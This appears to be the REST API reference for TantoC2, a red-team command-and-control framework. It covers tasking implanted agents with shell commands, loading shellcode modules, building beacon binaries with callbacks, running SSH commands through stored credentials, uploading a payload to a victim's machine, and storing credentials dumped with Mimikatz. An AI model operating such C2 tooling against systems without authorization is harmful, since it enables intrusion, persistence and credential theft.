Complete reference for building automation, integrations, and tooling on top of TantoC2. All endpoints require a JWT access token except login.
Authentication
#All API requests must include the access token:
1
| Authorization: Bearer <access_token>
|
Token Acquisition
#1
2
3
4
| POST /api/v1/auth/login
Content-Type: application/json
{"username": "admin", "password": "password"}
|
Response:
1
2
3
4
5
6
7
8
| {
"access_token": "eyJ...",
"refresh_token": "eyJ...",
"expires_at": "2026-03-23T11:00:00Z",
"user_id": "uuid-...",
"username": "admin",
"role": "admin"
}
|
Token Refresh
#1
2
3
4
| POST /api/v1/auth/refresh
Content-Type: application/json
{"refresh_token": "eyJ..."}
|
Returns a new token pair. The old refresh token is consumed (one-time use).
Roles
#| Role | Permissions |
|---|
admin | Full access, including user management and engagement lifecycle |
operator | Create tasks, run modules, manage listeners, create builds |
collector | Submit collection requests; read access to assigned agents |
Endpoints annotated with “Operator+” require operator or admin role. “Admin” requires admin role.
Python Client Library
#For scripting and automation, use the bundled client library:
1
2
3
4
5
6
7
8
9
| from tantoc2.client import TantoC2Client
client = TantoC2Client("http://localhost:8443")
client.login("admin", "password")
# All REST resources are available as typed methods
agents = client.agents.list()
task = client.agents.create_task(agents[0]["id"], "survey")
result = client.agents.get_task_result(agents[0]["id"], task["id"])
|
See Client Library for the full method reference.
Engagements
#| Method | Endpoint | Auth | Description |
|---|
| POST | /api/v1/engagements/ | Admin | Create engagement |
| GET | /api/v1/engagements/ | Any | List (filtered by access) |
| GET | /api/v1/engagements/<id> | Any | Detail |
| PUT | /api/v1/engagements/<id>/activate | Admin | Activate |
| PUT | /api/v1/engagements/<id>/deactivate | Admin | Deactivate |
| POST | /api/v1/engagements/<id>/archive | Admin | Archive to encrypted file |
| POST | /api/v1/engagements/import | Admin | Import from archive |
Create Engagement
#1
2
3
4
5
6
| POST /api/v1/engagements/
{
"name": "client-engagement-2026-q1",
"description": "Q1 red team assessment",
"passphrase": "strong-archive-passphrase"
}
|
Response: {"id": "uuid-...", "name": "...", "status": "inactive", ...}
Agents
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/agents/ | Any | List agents |
| GET | /api/v1/agents/<id> | Any | Agent detail |
| POST | /api/v1/agents/<id>/tasks | Operator+ | Create task |
| GET | /api/v1/agents/<id>/tasks | Any | List tasks |
| GET | /api/v1/agents/<id>/tasks/<tid>/result | Any | Single task result |
| GET | /api/v1/agents/<id>/tasks/<tid>/results | Any | All results (streaming/multi) |
| POST | /api/v1/agents/<id>/kill | Operator+ | Kill agent |
| PATCH | /api/v1/agents/<id>/tags | Operator+ | Update tags |
| PATCH | /api/v1/agents/<id>/notes | Operator+ | Update notes |
Create Task
#1
2
3
4
5
6
7
| POST /api/v1/agents/<agent_id>/tasks
{
"task_type": "shell",
"payload": {
"command": "whoami && id"
}
}
|
Common task types: shell, survey, upload, download, load_module, unload_module, beacon_config, kill.
Task Result
# 1
2
3
4
5
6
7
8
9
10
11
12
| GET /api/v1/agents/<agent_id>/tasks/<task_id>/result
{
"task_id": "uuid-...",
"status": "completed",
"result": {
"output": "root\nuid=0(root) gid=0(root) groups=0(root)\n",
"exit_code": 0
},
"created_at": "...",
"completed_at": "..."
}
|
Use /results (plural) for tasks that produce multiple results (streaming modules).
List Agents with Filters
#1
2
3
4
| GET /api/v1/agents/?status=active
GET /api/v1/agents/?status=dormant
GET /api/v1/agents/?status=dead
GET /api/v1/agents/?status=killed
|
Agent Capabilities and Modules
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/agents/<id>/capabilities | Any | Declare capabilities |
| GET | /api/v1/agents/<id>/modules/loaded | Any | Currently loaded modules |
| POST | /api/v1/agents/<id>/modules/load | Operator+ | Load a module into agent |
| POST | /api/v1/agents/<id>/modules/unload | Operator+ | Unload managed module |
Load a Module
# 1
2
3
4
5
6
7
8
9
10
| POST /api/v1/agents/<agent_id>/modules/load
{
"module_name": "port_scan",
"module_format": "bof",
"daemonize": false,
"options": {
"target": "10.0.0.0/24",
"ports": "22,80,443"
}
}
|
Agent Capabilities Response
#1
2
3
4
5
6
7
8
| GET /api/v1/agents/<agent_id>/capabilities
{
"module_formats": ["bof", "shellcode"],
"built_in_commands": ["ls", "cat", "ps", "upload", "download", "load_module"],
"supports_daemonize": true,
"supports_relay": false
}
|
Agent Modules (Compiled Payloads)
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/agent-modules/ | Any | List all registered modules |
| GET | /api/v1/agent-modules/<name> | Any | Module detail with manifest |
| GET | /api/v1/agent-modules/compatible/<agent_id> | Any | Compatible modules for agent |
| POST | /api/v1/agent-modules/refresh | Operator+ | Re-scan module directories |
Compatible Modules Response
# 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| GET /api/v1/agent-modules/compatible/<agent_id>
[
{
"name": "port_scan",
"description": "TCP port scanner",
"format": "bof",
"platforms": ["windows", "linux"],
"architectures": ["x64"],
"options_schema": {
"target": {"type": "str", "required": true, ...},
"ports": {"type": "str", "required": false, "default": "1-1024"}
}
}
]
|
Listeners
#| Method | Endpoint | Auth | Description |
|---|
| POST | /api/v1/listeners/ | Operator+ | Create listener |
| GET | /api/v1/listeners/ | Any | List listeners |
| GET | /api/v1/listeners/<id> | Any | Listener detail |
| POST | /api/v1/listeners/<id>/start | Operator+ | Start listener |
| POST | /api/v1/listeners/<id>/stop | Operator+ | Stop listener |
| DELETE | /api/v1/listeners/<id> | Operator+ | Delete listener |
Create Listener
# 1
2
3
4
5
6
7
8
9
10
11
12
| POST /api/v1/listeners/
{
"name": "main-https",
"transport_type": "http",
"host": "0.0.0.0",
"port": 443,
"tls_enabled": true,
"tls_cert_file": "/path/to/cert.pem",
"tls_key_file": "/path/to/key.pem",
"callback_protocol": "https",
"options": {}
}
|
transport_type must match a registered transport’s plugin_name() (e.g., "http", "tcp").
Builds
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/builds/packages | Any | Buildable packages with templates |
| GET | /api/v1/builds/packages/<name>/templates | Any | Templates for a package |
| GET | /api/v1/builds/packages/<name>/schema | Any | Build config schema |
| POST | /api/v1/builds/ | Operator+ | Create a build |
| GET | /api/v1/builds/ | Any | List builds |
| GET | /api/v1/builds/<id> | Any | Build detail |
| GET | /api/v1/builds/<id>/download | Operator+ | Download agent binary |
Create a Build
# 1
2
3
4
5
6
7
8
9
10
11
| POST /api/v1/builds/
{
"package_name": "dev_agent",
"template_name": "dev_beacon",
"callbacks": [
{"host": "10.0.0.1", "port": 8443, "protocol": "https"}
],
"kill_date": "2026-06-01",
"beacon_interval": 30,
"beacon_jitter": 15
}
|
Response includes "id" for the download endpoint.
Download Binary
#1
2
| GET /api/v1/builds/<build_id>/download
Authorization: Bearer <token>
|
Returns the binary with Content-Type: application/octet-stream.
1
2
3
| curl -H "Authorization: Bearer $TOKEN" \
http://localhost:8443/api/v1/builds/$BUILD_ID/download \
-o agent.py
|
Server Modules
#Server-side Python plugins that interact with agents via task queuing.
| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/modules/ | Any | List modules with metadata |
| GET | /api/v1/modules/<name> | Any | Module detail |
| POST | /api/v1/modules/<name>/execute | Operator+ | Execute against an agent |
| POST | /api/v1/modules/refresh | Operator+ | Hot-reload modules |
Execute a Module
#1
2
3
4
5
6
7
| POST /api/v1/modules/my_module/execute
{
"agent_id": "uuid-...",
"options": {
"path": "/etc/passwd"
}
}
|
Tools (Agentless Modules)
#Direct network interaction without an agent.
| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/agentless/modules/ | Any | List tool modules |
| GET | /api/v1/agentless/modules/<name> | Any | Module detail |
| POST | /api/v1/agentless/modules/<name>/execute | Operator+ | Execute operation |
| POST | /api/v1/agentless/modules/refresh | Operator+ | Hot-reload |
| GET | /api/v1/agentless/executions/ | Any | List executions |
| GET | /api/v1/agentless/executions/<id> | Any | Execution results |
Execute a Tool Operation
# 1
2
3
4
5
6
7
8
9
10
11
| POST /api/v1/agentless/modules/ssh/execute
{
"operation": "exec",
"targets": [
{"host": "10.0.0.5", "port": 22, "credential_id": "cred-uuid"}
],
"options": {
"command": "id"
},
"proxy_config_id": null
}
|
Interactive Sessions
#| Method | Endpoint | Auth | Description |
|---|
| POST | /api/v1/agentless/sessions | Operator+ | Create session |
| GET | /api/v1/agentless/sessions | Any | List active sessions |
| DELETE | /api/v1/agentless/sessions/<id> | Operator+ | Close session |
| GET | /api/v1/agentless/sessions/<id>/output | Any | Poll output (drains buffer) |
| POST | /api/v1/agentless/sessions/<id>/input | Operator+ | Send input |
Proxy Configuration
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/agentless/proxies/ | Any | List proxies |
| POST | /api/v1/agentless/proxies/ | Operator+ | Create proxy |
| PATCH | /api/v1/agentless/proxies/<id> | Operator+ | Update proxy |
| DELETE | /api/v1/agentless/proxies/<id> | Operator+ | Delete proxy |
Proxy types: socks4, socks5, ssh_tunnel.
Credentials
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/credentials/ | Any | List (filterable) |
| GET | /api/v1/credentials/<id> | Any | Detail with decrypted secret |
| POST | /api/v1/credentials/ | Operator+ | Create credential |
| PATCH | /api/v1/credentials/<id> | Operator+ | Update fields |
| DELETE | /api/v1/credentials/<id> | Operator+ | Delete |
| GET | /api/v1/credentials/export | Operator+ | Export all |
Create Credential
#1
2
3
4
5
6
7
8
| POST /api/v1/credentials/
{
"cred_type": "plaintext",
"username": "administrator",
"secret": "P@ssw0rd",
"domain": "CORP",
"notes": "Extracted from DC via Mimikatz"
}
|
Credential types: plaintext, hash, ticket, token, ssh_key, api_key, certificate.
List with Filters
#1
2
| GET /api/v1/credentials/?cred_type=hash&domain=CORP&username=admin
GET /api/v1/credentials/?source_host=10.0.0.5&limit=50&offset=0
|
File Transfers
#| Method | Endpoint | Auth | Description |
|---|
| POST | /api/v1/agents/<id>/files/upload | Operator+ | Upload to agent |
| POST | /api/v1/agents/<id>/files/download | Operator+ | Request download |
| GET | /api/v1/agents/<id>/files/ | Any | List transfers |
| GET | /api/v1/agents/<id>/files/<tid> | Any | Transfer details |
| GET | /api/v1/agents/<id>/files/<tid>/content | Operator+ | Download stored content |
Upload to Agent
#1
2
3
4
5
| POST /api/v1/agents/<agent_id>/files/upload
{
"file_data": "<base64-encoded bytes>",
"remote_path": "C:\\Users\\victim\\Desktop\\payload.exe"
}
|
P2P Relay and Topology
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/agents/topology | Any | All active P2P links |
| POST | /api/v1/agents/<id>/relay | Operator+ | Set relay agent |
| DELETE | /api/v1/agents/<id>/relay | Operator+ | Remove relay (direct) |
| GET | /api/v1/agents/<id>/chain | Any | Full relay chain |
Plugins
#| Method | Endpoint | Auth | Description |
|---|
| GET | /api/v1/plugins/ | Any | All registered plugins |
| POST | /api/v1/plugins/refresh | Operator+ | Refresh all registries |
Plugin List Response
#1
2
3
4
5
6
7
8
9
| GET /api/v1/plugins/
{
"transports": [{"name": "http", "type": "transport"}, {"name": "tcp", "type": "transport"}],
"agentless_modules": [{"name": "ssh", "type": "agentless_module"}],
"agent_packages": [{"name": "dev_agent", "type": "agent_package"}],
"crypto_providers": [{"name": "dev_crypto", "type": "crypto_provider"}],
"protocol_codecs": [{"name": "dev_codec", "type": "protocol_codec"}]
}
|
Operators
#| Method | Endpoint | Auth | Description |
|---|
| POST | /api/v1/operators/ | Admin | Create operator |
| GET | /api/v1/operators/ | Admin | List all |
| GET | /api/v1/operators/<id> | Admin or self | Detail |
| PUT | /api/v1/operators/<id> | Admin | Update |
| DELETE | /api/v1/operators/<id> | Admin | Delete |
| POST | /api/v1/operators/<id>/grant-access | Admin | Grant engagement access |
| DELETE | /api/v1/operators/<id>/revoke-access | Admin | Revoke access |
Audit Log
#1
2
3
4
5
| GET /api/v1/audit/?engagement_id=<id>
Optional: &principal=<username>&action=<action>
&since=<ISO8601>&until=<ISO8601>
&security_only=true
&limit=100&offset=0
|
System
#1
2
| GET /api/v1/version → {"version": "0.1.0", "name": "TantoC2"}
GET /api/v1/health → {"status": "ok"}
|
WebSocket Events
#Connect with Flask-SocketIO using a valid access token:
1
2
3
| const socket = io("http://localhost:8443", {
auth: { token: "<access_token>" }
});
|
Event Catalog
#| Event | Data | Trigger |
|---|
agent_registered | {agent_id, package} | New agent registers |
agent_checkin | {agent_id} | Agent checks in |
agent_killed | {agent_id} | Kill command sent |
task_completed | {task_id, agent_id} | Final task result received |
task_streaming_result | {task_id, agent_id} | Intermediate streaming result |
module_execution_started | {task_id, module_name, agent_id} | Module load queued |
build_completed | {build_id, package_name, template_name, binary_hash} | Build finishes |
agentless_execution_started | {execution_id, module_name, operation} | Tool operation begins |
agentless_execution_completed | {execution_id} | Tool operation finishes |
file_transfer_initiated | {transfer_id, agent_id, direction, remote_path} | Transfer starts |
file_transfer_completed | {transfer_id, agent_id} | Transfer completes |
p2p_link_created | {relay_agent_id, interior_agent_id} | P2P relay link established |
session_output | {session_id, data} | Interactive session output |
security_alert | {event_type, details} | Security-flagged audit event |
Subscribing in Python
# 1
2
3
4
5
6
7
8
9
10
11
12
13
| from tantoc2.client import TantoC2Client
client = TantoC2Client("http://localhost:8443")
client.login("admin", "password")
@client.on_event("agent_registered")
def on_agent(data):
print(f"New agent: {data['agent_id']} ({data['package']})")
@client.on_event("task_completed")
def on_task(data):
result = client.agents.get_task_result(data["agent_id"], data["task_id"])
print(result)
|
Subscribing in JavaScript
# 1
2
3
4
5
6
7
8
9
10
11
| socket.on("agent_registered", (data) => {
console.log("New agent:", data.agent_id);
});
socket.on("task_completed", async (data) => {
const result = await fetch(
`/api/v1/agents/${data.agent_id}/tasks/${data.task_id}/result`,
{ headers: { Authorization: `Bearer ${token}` } }
);
console.log(await result.json());
});
|
Error Responses
#All errors return JSON with "error" and "message" keys:
1
2
3
4
5
6
7
8
9
10
11
| HTTP 400 Bad Request
{"error": "validation_error", "message": "Field 'task_type' is required"}
HTTP 401 Unauthorized
{"error": "unauthorized", "message": "Token expired or invalid"}
HTTP 403 Forbidden
{"error": "forbidden", "message": "Insufficient role: operator required"}
HTTP 404 Not Found
{"error": "not_found", "message": "Agent abc123 not found"}
|
Rate Limiting
#No rate limiting is applied. The API is designed for internal teamserver use on trusted networks.